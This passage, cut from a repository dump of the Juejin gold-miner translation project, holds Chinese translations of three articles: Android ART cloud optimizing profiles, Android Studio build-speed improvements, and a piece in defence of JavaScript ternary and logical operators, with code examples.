[掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/improving-app-performance-with-art-optimizing-profiles-in-the-cloud.md",
    "content": "> * 原文地址：[Improving app performance with ART optimizing profiles in the cloud](https://android-developers.googleblog.com/2019/04/improving-app-performance-with-art.html)\n> * 原文作者：[Calin Juravle](https://android-developers.googleblog.com/2019/04/improving-app-performance-with-art.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/improving-app-performance-with-art-optimizing-profiles-in-the-cloud.md](https://github.com/xitu/gold-miner/blob/master/TODO1/improving-app-performance-with-art-optimizing-profiles-in-the-cloud.md)\n> * 译者：[nanjingboy](https://github.com/nanjingboy)\n> * 校对者：[phxnirvana](https://github.com/phxnirvana), [qiuyuezhong](https://github.com/qiuyuezhong)\n\n# 通过 Play Cloud 的 ART 优化配置提升应用性能\n\n在 Android Pie 中，我们在 **[Play Cloud 中推出了 ART 优化配置](https://youtu.be/Yi9-BqUxsno?list=PLWz5rJ2EKKc9Gq6FEnSXClhYkWAStbwlC&t=985)**，这是一项新的优化特性，它大大提高了新安装或更新应用后的启动时间。平均而言，在不同设备上，我们观测到应用启动时间减少了 15%（冷启动）。一些明星案例甚至减少了 30% 以上。这其中最重要的一点是用户可以免费使用该特性，而无需用户或开发者的任何额外操作！\n\n![来源：Google 内部数据](https://2.bp.blogspot.com/-J__2yBAq9SA/XJ6pHDtWtJI/AAAAAAAAHXw/xOQySRneEdQcfgIMXRsZVErzXN1y9yJgwCLcBGAs/s1600/image3.png)\n\n## Play Cloud 的 ART 优化配置\n\n该特性建立在由 [Android 7.0 Nougat](https://www.youtube.com/watch?v=fwMM6g7wpQ8) 引入的 [Profile Guided Optimization](https://source.android.com/devices/tech/dalvik/jit-compiler)（PGO）基础之上。PGO 允许 Android Runtime 通过构建应用中热门代码的配置，并集中优化配置来提升应用性能。这可以带来巨大的改进，同时减少完全编译的应用在传统内存及存储上的影响。然而，它依赖于设备在空闲维护模式下根据这些代码配置来优化应用，这意味着用户可能需要几天时间才能看到这些好处 — 这是我们旨在改进的。\n\n![来源：Google 内部数据](https://2.bp.blogspot.com/-6_ScCr79y7g/XJ6pSVfm7zI/AAAAAAAAHX0/PCTBWrbT4e87__cjtS07gE7eZetNvnQ-QCLcBGAs/s1600/image1.png)\n\n**Play Cloud 的 ART 优化配置**利用 Android Play 的强大功能，在安装/更新时带来所有的 PGO 好处：大多数用户无需等待即可获得出色的性能！\n\n这个想法依赖于两个关键的观测结果：\n\n1. 应用通常在众多用户和设备之间具有许多常用的代码路径（热门代码），例如在启动或关键用户路径期间使用的类。这通常可以通过聚合几百个数据点来发现。\n2. 应用开发者通常会逐步推出他们的应用，从 [alpha/beta 渠道](https://support.google.com/googleplay/android-developer/answer/3131213?hl=en)开始，然后扩展到更广泛的受众。即使没有 alpha/beta 设置，用户通常也会将应用升级到新版本。\n\n这意味着我们可以使用应用的首次部署来引导其他用户的性能。ART 分析应用代码的哪些部分值得在初始设备上进行优化，然后将数据上传到 Play Cloud，后者将构建核心聚合代码配置文件（包含与所有设备相关的信息）。一旦有足够的信息，代码配置就会发布并与应用的 APK 一起安装。\n\n在设备上代码配置作为种子，在安装时实现有效的配置来引导优化。这些优化有助于改善[冷启动时间](https://developer.android.com/topic/performance/vitals/launch-time#cold)以及稳定性能状态，所有这些都无需 app 开发者编写任何代码。\n\n![](https://4.bp.blogspot.com/-YZvK3UU7D20/XJ6pZ21iv4I/AAAAAAAAHX8/9dOUqVkAqAwpS7cLu4GBUxS1NbjhOQQ3gCLcBGAs/s1600/image4.png)\n\n### 第一步：构建代码配置\n\n其中一个主要目标是尽可能快地从聚合及匿名数据中构建高质量、稳定的代码配置（以最大限度地增加可受益的用户数量），同时也需要确保我们有足够的数据来正确地优化应用的性能。采样过多的数据在安装时会占用更多带宽和时间。此外，我们构建代码配置的时间越长，获得好处的用户就越少。采样过少的数据，代码配置将没有足够的信息来确定适合优化的内容。\n\n聚合的结果是我们所说的核心代码配置，它只包含有关每个设备随机会话样本中经常出现的代码的匿名数据。我们移除异常值以确保我们专注于对大多数用户而言十分重要的代码。\n\n实验表明，在很短的时间内，最常用的代码路径可以非常快地被计算出来。这意味着我们可以有足够快的速度构建代码配置，以使大多数用户受益。\n\n![来自 Google 应用的平均数据，来源：Google 内部数据](https://4.bp.blogspot.com/-ExYg7hPhU8E/XJ6pf1CSfRI/AAAAAAAAHYA/P-1tN7ehCoseEnK_lgHvfieX6bZmgh1XACLcBGAs/s1600/image5.png)\n\n### 第二步：安装代码配置\n\n在 Android 9.0 Pie 中，我们引入了一种新型安装工件：dex 元数据文件。类似于 APK，dex 元数据文件是常规的存档文件，它包含如何优化 APK 的数据 — 就像在 cloud 中构建的代码核心配置一样。它们之间一个关键的区别是 dex 元数据仅由平台和应用商店管理，并且对开发者来说是不直接可见。\n\n还有对 [App Bundles / Google Play 动态分发](https://developer.android.com/platform/technology/app-bundle/)的内建支持：无需任何开发者干预，所有应用的功能拆分都经过优化。\n\n![](https://2.bp.blogspot.com/-mBErPA5xD0w/XJ6ppc6ye7I/AAAAAAAAHYE/kP_xVzVtdjY3Grrr7fHM3Oznde-s7a4jwCLcBGAs/s1600/image6.png)\n\n### 第三步：使用代码配置来优化性能\n\n要搞明白这些代码配置究竟如何实现更好的性能，我们需要查看它们的结构。代码配置包含以下信息：\n\n* 启动期间加载的类\n* 运行时被认为值得优化的热门方法\n* 代码的布局（比如，在启动或启动后执行的代码）\n\n使用这些信息，我们使用了各种优化方法，其中以下三项提供了大部分优势：\n\n* **[应用映像](https://youtu.be/fwMM6g7wpQ8?t=2145)**：我们使用启动类来创建需要预先填充的堆，其中类已预先初始化（称为应用映像）。当应用启动时，我们将映像直接映射到内存中，以便所有启动类都可以随时使用。\n\n  * 这样做的好处是应用的执行可以节省周期，因为它无需再次执行，从而可以缩短启动时间。\n\n* **代码预编译**：我们预先编译所有热门代码。当应用执行时，代码中最重要的部分已经过优化，可在本地直接执行。应用无需再等待 JIT 编译器启动。\n  * 这样做的好处是代码被映射为干净的内存（与 JIT 的脏内存相比较），这提高了整体的内存的效率。内存压力下内核可以释放干净的内存，而脏内存则不能被释放，这减少了内核杀死应用的可能性。\n\n* **更高效的 dex 布局**：我们根据配置抛出的方法信息重新组织 dex 字节码。dex 字节码布局如下所示：\\[启动代码、启动后的代码、其余非配置代码\\]。\n  * 这样做的好处是可以更高效地将 dex 字节码加载到内存中：内存页具有更好的占用率，且由于所有内容都在一起，因此我们需要加载的更少，我们可以做更少的 I/O。\n\n### 改进和统计\n\n我们在去年年底向 Playstore 上的所有应用推出了 Play Cloud 的配置。\n\n* 已超过 30,000 个应用有所改进\n* 平均而言，冷启动在各种设备上的速度提高了 15%\n\n  * 许多排名靠前的应用在所选设备上获得了 20%+（比如 Youtube）甚至 30%（比如 Google 搜索）的提升。\n\n* 在 Android Pie 上安装的应用中有 90% 以上获得了优化\n* 额外优化的安装时间几乎没有增加\n* 适用于所有 Pie 设备。\n\n一个非常有趣的观测结果是，平均而言，ART 优化了大约 20% 的应用方法（如果我们计算代码的实际大小，则更少）。而对于另一些应用，配置仅占代码量的 2%，而对于某些应用，该数字则高达 60%。\n\n![来源：Google 内部数据](https://1.bp.blogspot.com/-179Ds6kuco4/XJ6pxOk4_oI/AAAAAAAAHYQ/WdjbULWQ9ZkaPjzBQKlkawPNU_xLnF4fgCLcBGAs/s1600/image2.png)\n\n为什么这是一个十分重要的统计？这意味着 Runtime 没有看到太多的应用代码，因此没有对代码进行优化。虽然有很多代码不会被执行的例子（比如错误处理或向后兼容性代码），但这也可能是由于未使用的功能或不必要的代码所造成的。倾斜分布是一个强烈的信号，它表明后者可以在进一步优化中发挥重要作用（比如通过删除不需要的 dex 字节码来减少 APK 大小）。\n\n### 未来发展\n\n我们为 ART 优化配置所带来的改进感到兴奋，我们将会在未来更多地发展这一概念。构建每个应用的代码配置为更多应用改进提供了机会。开发者可以使用数据，以根据（功能与）终端用户的相关性及重要性来改进应用。使用配置中收集到的信息，可以重新组织或修剪代码，以提高效率。开发者可以使用 App Bundle，根据其使用情况来拆分功能，并避免向用户发送不必要的代码。我们已经看到应用启动时间的巨大改进，并希望看到配置所带来的其他额外好处，使开发者的生活更加轻松，同时为我们的用户提供更好的体验。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/improving-build-speed-in-android-studio.md",
    "content": "> * 原文地址：[Improving build speed in Android Studio](https://medium.com/androiddevelopers/improving-build-speed-in-android-studio-3e1425274837)\n> * 原文作者：[Android Developers](https://medium.com/@AndroidDev)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/improving-build-speed-in-android-studio.md](https://github.com/xitu/gold-miner/blob/master/TODO1/improving-build-speed-in-android-studio.md)\n> * 译者：[qiuyuezhong](https://github.com/qiuyuezhong) \n> * 校对者：[csming1995](https://github.com/csming1995) \n\n# 改善 Android Studio 的构建速度\n\n**由 Android Studio 产品经理 Leo Sei 发布**\n\n![](https://cdn-images-1.medium.com/max/2048/1*_aiGAO6qGx71h8VOZpo2ww.png)\n\n## 改善构建速度\n\n在 Android Studio 中，我们希望让你成为最高效的开发者。通过与开发者的讨论和调查，我们了解到缓慢的构建速度会降低生产力。\n\n在这篇文章中，我们将分享一些新的分析方法，以便更好的指出是什么真正影响了构建速度，并分享一些我们正在为此所作的工作，以及你能做些什么来防止构建速度变慢。\n\n* **感谢很多开发者选择在 “preference > data sharing” 中与我们共享他们的使用统计信息，使得这件事情变得可能。**\n\n## 不同的速度测量方式\n\n我们做的第一件事情是使用开源项目（[SignalAndroid](https://github.com/signalapp/Signal-Android/archive/v4.19.1.zip), [Tachiyomi](https://github.com/inorichi/tachiyomi/archive/014bb2f42634765ae2fec487cf3b8dc779f23f7b.zip), [SantaTracker](https://github.com/google/santa-tracker-android) & skeleton of [Uber](https://github.com/kageiit/android-studio-gradle-test.git)）来创建内部 benchmark，用于测量各种修改（代码，资源，manifest 等）对于项目构建速度的影响。\n\n例如，这是一个研究代码更改对构建速度影响的 benchmark，可以看出，随着时间的推移，构建速度有很大的改善。\n\n![](https://cdn-images-1.medium.com/max/2404/0*HgKjMF_Usu73_ihR)\n\n我们还研究了真实的数据，主要关注 Android Gradle 插件升级前后构建调试版本的速度。我们用它来体现新版本上构建速度的实际提升。\n\n这表明了在新版本上，构建速度确实改善了很多，自 2.3 版本以来，构建时间提升了将近 50%。\n\n![](https://cdn-images-1.medium.com/max/2992/0*l55G21vNHzBc-D7D)\n\n最后，我们在忽略版本变化的情况下，研究了构建时间随着时间的演变。我们用它来表示实际构建速度随时间的变化。遗憾的是，结果表明了构建速度是随着时间的推移而减慢的。\n\n![](https://cdn-images-1.medium.com/max/2400/0*6_PsXttatVBSBJdd)\n\n如果每个版本的构建速度确实越来越快，并且我们可以在数据中看到，那么为什么它们会随着时间的推移而变得越来越慢呢？\n\n我们在更深入的研究之后，意识到在我们的生态系统中发生的事情正在导致构建速度减慢，减慢的速度比我们提升的速度更快。\n\n虽然我们知道随着项目的迭代，代码的增加、资源的使用、语言特性的增加，使项目的构建速度越来越慢，但我们还发现，还有许多其他因素超出了我们的直接控制范围：\n\n1. 2017 年末的 **[Spectre 和 Meltdown](https://meltdownattack.com/) 补丁**对新流程和 I/O 产生了一定影响，使清除构建的速度减慢了 50% 到 140% 之间。\n2. **第三方和客制化的 Gradle 插件**：96% 的 Android Studio 开发者使用一些额外的 Gradle 插件（其中一些并没有采用[最新的最佳实践](https://developer.android.com/studio/build/optimize-your-build)）。\n3. 大多数使用的**注释处理器都是非增量化的**，每次进行编辑时都会导致代码重新全量编译。\n4. **使用 Java 8** 语言特性会导致需要执行去语法糖操作，这将影响构建时间。然而，我们已经用 D8 降低了去语法糖操作的影响。\n5. **使用Kotlin**，尤其是 Kotlin（KAPT）中的注释处理，也会影响构建性能。我们将继续与 JetBrains 合作，以将影响降至最低。\n\n* **和真实的项目不同，那些项目的构建时间不会随着时间的推移而增长。Benchmark 模拟更改，然后撤销更改，仅测量我们的插件随时间推移而受到的影响。**\n\n* **3.3 版本专注于未来改善的基础工作（例如，名称空间资源、增量注释处理器支持、Gradle workers），因此提升了 0%。**\n\n## 我们在做什么？\n\n> 确定内部流程并持续提升性能。\n\n我们也承认，许多问题来自于谷歌拥有的和推广的功能，我们改变了内部流程，以便在发布过程的早期更好地获得构建反馈。\n\n我们还致力于让[注释处理器增量化](https://developer.android.com/studio/build/optimize-your-build#annotation_processors)。截至目前，Glide、Dagger 和 Auto Service 都是增量化的，并且我们还在研究其他的。\n\n在最近的版本中，我们还加入了 R light class generation、lazy task 和 worker API，并继续与 Gradle Inc. 和 JetBrains 合作，以持续改善总体构建性能。\n\n> 属性工具\n\n最近的一项调查显示，约 60% 的开发者不去分析构建的影响或不知道如何分析。因此，我们希望改善 Android Studio 中的工具，在社区中提高对构建时间影响的意识和透明度。\n\n我们正在探索如何在 Android Studio 中更好地提供插件和任务对构建时间影响的相关信息。\n\n## 你现在能做些什么？\n\n虽然配置时间可能因变量、模块和其他因素的数量而有所不同，但我们希望将与 **Android Gradle 插件**相关联的配置时间作为参考点，并和实际场景共享数据。\n\n![](https://cdn-images-1.medium.com/max/2400/0*-ArOM3hHce2x6Xsl)\n\n如果发现构建时间慢很多，可能是有客制化的构建逻辑（或者三方的 Gradle 插件）影响到构建时间。\n\n> 使用的工具\n\nGradle 提供了一组**免费**的[工具](https://guides.gradle.org/performance/)来帮助分析构建中正在发生的事情。\n\n我们建议你使用 [Gradle scan](https://guides.gradle.org/performance/#build_scans)，它提供了关于构建的大部分信息。如果你不希望构建信息上传到 Gradle 服务器上，可以使用 [Gradle profiler](https://guides.gradle.org/performance/#profile_report)，相对于 Gradle scan，它提供的信息要少一些，但是可以保证所有内容都在本地。\n\n**注意：对于那些你可能想使用传统 JVM profiler 的项目，Gradle scan 对研究它们的配置延迟没有帮助。**\n\n> 优化构建配置和任务\n\n在研究构建速度时，这里有几个需要注意的最佳实践，可以随时查看我们的[最新最佳实践](https://developer.android.com/studio/build/optimize-your-build)。\n\n配置\n\n* 仅使用配置来创建任务（使用 lazy API），避免在其中执行任何 I/O 或任何其他工作。（配置不适合查询 git、读取文件、搜索连接的设备、进行计算等）。\n* 在配置中创建所有的任务。配置不会知道实际生成了什么内容。\n\n优化任务\n\n* 保证每个任务都声明了输入/输出（即便是非文件性的），并且是增量化的和可缓存的。\n* 将复杂的步骤拆分为多个任务，以帮助实现增量化和可缓存性。\n（有些任务可以是最新的，而另一些任务可以执行或并行执行）。\n* 确保任务不会写入或删除其他任务的输出。\n* 在插件或 buildSrc 中用 Java/Kotlin 编写任务，而不是在 build.gradle 中用 Groovy 直接编写。\n\n作为开发者，我们关心你的生产力。随着我们持续努力加快构建速度，希望这里的提示和指导方针能够帮助你缩短构建时间，以便让你能够更加专注于开发精彩的应用程序。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/in-defense-of-the-ternary-statement.md",
    "content": "> * 原文地址：[In Defense of the Ternary Statement](https://css-tricks.com/in-defense-of-the-ternary-statement/)\n> * 原文作者：[Burke Holland](https://css-tricks.com/author/burkeholland/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/in-defense-of-the-ternary-statement.md](https://github.com/xitu/gold-miner/blob/master/TODO1/in-defense-of-the-ternary-statement.md)\n> * 译者：[ZavierTang](https://github.com/ZavierTang)\n> * 校对者：[smilemuffie](https://github.com/smilemuffie), [mnikn](https://github.com/mnikn)\n\n# 支持 JavaScript 三元运算符\n\n几个月前，我在 Hacker News 上浏览到一篇（现已删除）关于不要使用 `if` 语句的文章。如果你像我一样对这个观点还不太了解，那值得你去看一下。只要在 Hacker News 上搜索 “if 语句”，你就会看到一篇文章说：“[你可能不需要 `if` 语句](https://hackernoon.com/you-might-not-need-if-statements-a-better-approach-to-branching-logic-59b4f877697f#.ruqzpakyw)”，或者是称 `if` 语句为 “[可疑代码](https://blog.jetbrains.com/idea/2017/09/code-smells-if-statements/)”，甚至是 “[有害代码](https://blog.deprogramandis.co.uk/2013/03/20/if-statements-considered-harmful-or-gotos-evil-twin-or-how-to-achieve-coding-happiness-using-null-objects/)” 的文章。听着，你应该知道不同的编程思想都是值得尊重的，尽管他们宣称使用 `if` 会伤害到别人。\n\n![](https://css-tricks.com/wp-content/uploads/2019/03/s_FD4D827367230AB6A2D0F680A6D86BB8C31A84DDD157823CB9061772EC8F0BFC_1552145481604_an-if-statement.jpg)\n\n如果这对你来说还不够，还有 “[反 `if` 运动](https://francescocirillo.com/pages/anti-if-campaign#campaign)”。如果你加入，你会在网站上看到一个漂亮的横幅，而且你的名字也会在上面。对！如果你加入的话，那会是多么的有意思。\n\n当我第一次遇到这种奇怪的 “反对 `if`” 现象时，我觉得很有趣，但可能只不过是一些人在网上发疯了。你只需要谷歌一下，就能找到对任何事都疯狂的人。比如[这个讨厌小猫的人](https://www.cracked.com/article_19007_6-reasons-kittens-suck-learned-while-raising-them.html)。KITTENS\n\n一段时间后，我看了 [Linus Torvald 的 TED 演讲](https://www.ted.com/talks/linus_torvalds_the_mind_behind_linux#t-858390)。在那次演讲中，他展示了两张幻灯片。第一张幻灯片贴出了他认为是 “bad taste” 的代码。\n\n![](https://css-tricks.com/wp-content/uploads/2019/03/s_FD4D827367230AB6A2D0F680A6D86BB8C31A84DDD157823CB9061772EC8F0BFC_1552145588491_linus-bad-taste.png)\n\n第二个是相同功能的代码，但是在 Linus 看来是 “good taste”。\n\n![](https://css-tricks.com/wp-content/uploads/2019/03/s_FD4D827367230AB6A2D0F680A6D86BB8C31A84DDD157823CB9061772EC8F0BFC_1552145608899_linus-good-taste.png)\n\n我意识到 Linus 是一个有点两极化的人物，你可能不同意 “good taste” 与 “bad taste” 的描述。但我认为，一般来说，第二张幻灯片对新手来说更容易理解。它简洁、逻辑分支少且不包含 `if` 语句。我希望我的代码应该是这样的。它不一定是什么高级的算法（永远不会），但我希望它是逻辑简洁的，还记得 Smashing Pumpkins 乐队的 Billy Corgan 是如何描述的：\n\n> Cleanliness is godliness. And god is empty. Just like me.\n> \n> - Billy Corgan, \"Zero\"\n\n太可怕了！但[这张专辑](https://en.wikipedia.org/wiki/Mellon_Collie_and_the_Infinite_Sadness)的确很棒。\n\n除了让代码看起来杂乱之外，`if` 语句或 “分支逻辑” 还要求你的大脑同时去计算两条独立的逻辑路径，以及这些路径上可能发生的所有事情。如果你还嵌套使用了 `if` 语句，问题就会变得更加复杂，因为你在生成和计算一个决策树时，你的大脑必须像喝醉酒的猴子一样在决策树上跳来跳去。这样会大大降低代码的可读性。记住，在编写代码时，你应该考虑在你之后要去维护它的会是哪个傻瓜。也许，就是你自己。\n\n作为必须要去维护自己代码的傻瓜，我最近一直有意识地避免在 JavaScript 中编写 `if` 语句。我并不总是能够成功，但我注意到，至少它迫使我从一个完全不同的角度来思考解决问题的方法。它使我成为一个更好的开发人员，因为它让我动脑子思考，否则我将会悠闲地坐在豆袋上吃花生，而让 `if` 语句去完成所有的工作。\n\n在避免**编写** `if` 语句的过程中，我发现我喜欢 JavaScript 中的三元运算符和逻辑操作符组合使用的方式。我现在想建议你的是不太受欢迎的三元运算符，你可以使用它与 `&&` 和 `||` 操作符一起编写一些非常简洁和具有可读性的代码。\n\n### 不受欢迎的三元运算符\n\n当我刚开始学习编程时，人们常说，“永远不要使用三元运算符”，它们太复杂了。所以我没有使用它。一直都没有。我从来没用过三元运算符也从未费心去质疑那些人的说法是否正确。\n\n但现在，我不这么认为。\n\n三元运算符只是去用一行代码来表示的 `if` 语句而已。绝对的说它们在任何情况下都太过复杂是不正确的。我的意思是，并不是我要特立独行，但我可以完全理解一个简单的三元运算符。当我们说要**永远**去避免使用它们的时候，我们是不是有点儿孩子气了呢？我认为一个结构良好的三元运算符是可以胜过一个 `if` 语句的。\n\n让我们举一个简单的例子。假设我们有一个应用程序，我们想在其中检查用户的登录状态。如果已登录，我们就跳转到他们的个人主页。否则，我们将跳转到登录页面。下面是标准的 `if` 逻辑语句：\n\n```javascript\nif (isLogggedIn) {\n  navigateTo('profile');\n}\nelse {\n  navigateTo('unauthorized');\n}\n```\n\n用这 6 行代码来完成工作是非常简单的。**6 行**，请记住，你每运行 1 行代码，必须记住上面代码的运算结果以及它如何影响下面的代码。\n\n下面是三元运算符的实现代码：\n\n```javascript\nisLoggedIn ? navigateTo('profile') : navigateTo('unauthorized');\n```\n\n你的大脑只需要计算这一行，而不是 6 行。你不需要在代码上下行之间移动，也不需要记住之前的内容。\n\n不过，三元运算符的一个缺点是不能只针对一种情况进行逻辑判断。还是刚刚的例子，如果你想在用户已登录时跳转到他的个人主页，而如果没有登录，则不采取任何操作，下面的代码将不起作用：\n\n```javascript\n// !! 无法编译 !!\nlogggedIn ? navigateTo('profile')\n```\n\n你不得不在这里使用 `if` 语句来完成工作。但是还有没有其他方法？\n\n当你只想处理逻辑条件的一个分支但又不想使用 `if` 语句时，可以在 JavaScript 中使用这样一个技巧。你可以利用 JavaScript 中的 `||`（或）和 `&&`（与）运算符一起工作的方式来实现这一点。\n\n```javascript\nloggedIn && navigateTo('profile');\n```\n\n这是如何实现的？\n\n我们在这里实际是在判断：”这两个语句都是 `true` 吗？” 如果第一项为 `false`，JavaScript 引擎就不会再去执行第二项了。因为其中一个已经是 `false` 了，所以我们知道结果不是 `true`。我们利用了这个机制：如果第一项为 `false`，JavaScript 就不会去执行第二项。也就是说，“如果第一项为 `true`，那么就去执行第二项”。\n\n如果我想换过来呢？我们只想在用户**没有**登录的情况下导航到用户主页，该怎么办呢？你可以直接在 `loggedIn` 变量前面使用 `!`，但也有另一种方法。\n\n```javascript\nloggedIn || navigateTo('profile');\n```\n\n这句代码的意思是，“这两个语句会有一个是 `true` 吗？” 如果第一项是 `false`，就**必须**对第二项进行计算才能确定。如果第一项为 `true`，就永远不会去执行第二项，因为已经知道其中一项为 `true` 了，因此整个语句的结果是 `true`。\n\n那下面这种方式如何呢？\n\n```javascript\nif (!loggedIn) navigateTo('profile');\n```\n\n不，在这种情况下，不推荐使用。所以，一旦知道可以使用 `&&` 和 `||` 运算符来实现 `if` 语句的功能，就可以使用它们来极大地简化我们的代码。\n\n下面是一个更复杂的例子。假设我们有一个 `login` 函数，接收一个 `user` 对象作为参数。该对象可能为空，因此我们需要检查 local storage，以查看用户是否在本地保存了会话。如果保存了，并且他是一个管理员用户，那么我们将跳转到首页。否则，我们将导航到另一个页面，该页面提示用户还未经授权。下面是一个简单的 `if` 语句的实现。\n\n```javascript\nfunction login(user) {\n  if (!user) {\n    user = getFromLocalStorage('user');\n  }\n  if (user) {\n    if (user.loggedIn && user.isAdmin) {\n      navigateTo('dashboard');\n    }\n    else {\n      navigateTo('unauthorized');\n    }\n  }\n  else {\n    navigateTo('unauthorized');\n  }\n}\n```\n\n噢。这也许很复杂，因为我们对 `user` 对象做了很多是否为空的条件判断。我不希望我的代码太过复杂，所以让我们简化一下，因为这里有很多冗余的代码，我们需要封装一些函数。\n\n```javascript\nfunction checkUser(user) {\n  if (!user) {\n    user = getFromLocalStorage('user');\n  }\n  return user;\n}\n\nfunction checkAdmin(user) {\n  if (user.isLoggedIn && user.isAdmin) {\n    navigateTo('dashboard');\n  }\n  else {\n    navigateTo('unauthorized');\n  }\n}\n\nfunction login(user) {\n  if (checkUser(user)) {\n    checkAdmin(user);\n  }\n  else {\n    navigateTo('unauthorized');\n  }\n}\n```\n\n`login` 函数更简单了，但实际上代码更多了，当你考虑到整个代码而不仅仅是 `login` 函数时，它并不一定是更简洁的。\n\n我建议放弃使用 `if` 语句，而使用三元运算符，并且使用逻辑运算符，那么我们可以在两行代码中完成所有这些操作。\n\n```javascript\nfunction login(user) {\n  user = user || getFromLocalStorage('user');\n  user && (user.loggedIn && user.isAdmin) ? navigateTo('dashboard') : navigateTo('unauthorized')\n}\n```\n就是这样。所有烦人的 `if` 语句代码块折叠后都有两行。如果第二行代码看起来有点长，并且影响阅读，那么可以对其进行换行，使它们各自独处一行。\n\n```javascript\nfunction login(user) {\n  user = user || getFromLocalStorage(\"user\");\n  user && (user.loggedIn && user.isAdmin)\n    ? navigateTo(\"dashboard\")\n    : navigateTo(\"unauthorized\");\n}\n```\n\n如果你担心别人可能不知道 `&&` 和 `||` 运算符在 JavaScript 中是如何工作的，请添加一些注释并格式化你的代码。\n\n```javascript\nfunction login(user) {\n  // 如果 user 为空，则检查 local storage\n  // 查看是否保存了 user 对象\n  user = user || getFromLocalStorage(\"user\");\n  \n  // 确保 user 不为空，同时\n  // 是登录状态并且是管理员。否则，拒绝访问。\n  user && (user.loggedIn && user.isAdmin)\n    ? navigateTo(\"dashboard\")\n    : navigateTo(\"unauthorized\");\n}\n```\n\n### 其他\n\n也许，你还可以使用一些其他技巧来处理 JavaScript 条件判断。\n\n#### 赋值\n\n我最喜欢的技巧之一（在上面使用过）是一个单行代码来判断一个变量是否为空，然后如果为空就重新赋值。使用 `||` 运算符来完成。\n\n```javascript\nuser = user || getFromLocalStorage('user');\n```\n\n你可以一直判断下去：\n\n```javascript\nuser = user || getFromLocalStorage('user') || await getFromDatabase('user') || new User();\n```\n\n这也适用于三元运算符：\n\n```javascript\nuser = user ? getFromLocalStorage('user') : new User();\n```\n\n#### 组合条件\n\n你可以为三元运算符提供多个执行语句。例如，如果我们想要同时记录用户已经登录的日志，然后跳转页面，就可以这样做，而不需要将所有这些操作封装到另一个函数中。如下，使用括号括起来，并用逗号隔开。\n\n```javascript\nisLoggedIn ? (log('Logged In'), navigateTo('dashboard')) : navigateTo('unauthorized');\n```\n\n这也适用于 `&&` 和 `||` 操作符：\n\n```javascript\nisLoggedIn && (log('Logged In'), navigateTo('dashboard'));\n```\n\n#### 嵌套三元运算符\n\n你可以嵌套使用三元运算符。Eric Elliot 在[关于三元运算符的文章](https://medium.com/javascript-scene/nested-ternaries-are-great-361bddd0f340)中通过下面的例子说明了这一点：\n\n```javascript\nconst withTernary = ({\n  conditionA, conditionB\n}) => (\n  (!conditionA)\n    ? valueC\n    : (conditionB)\n    ? valueA\n    : valueB\n);\n```\n\nEric 在这里做的最有趣的一点是否定了第一个条件，这样你就不会把问号和冒号放在一起，不然就会难以阅读。我要更进一步，给代码添加一些缩进。同时我还添加了大括号和显式的返回语句，因为只有括号的话会让我以为正在调用一个函数，实际上并没有。\n\n```javascript\nconst withTernary = ({ conditionA, conditionB }) => {\n  return (\n    (!conditionA)\n      ? valueC  \n      : (conditionB)\n        ? valueA\n        : valueB\n  )\n}\n```\n\n一般来说，你不应该嵌套使用三元运算符或 `if` 语句。以上任何一篇 Hacker News 的文章都会让你羞愧地得出同样的结论。虽然我不是来羞辱你的，但我只想说，如果你不再过度使用 `if` 语句，或许（只是或许）你以后会感谢你自己的。\n\n---\n\n这就是我对被误解的三元运算符和逻辑运算符的看法。我认为它们可以帮助你编写简洁、可读的代码，并完全避免 `if` 语句。现在，我们可以像 Linus Torvalds 一样用 “good taste” 来结束这一切了。我也可以早点退休，然后平静地度过余生。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 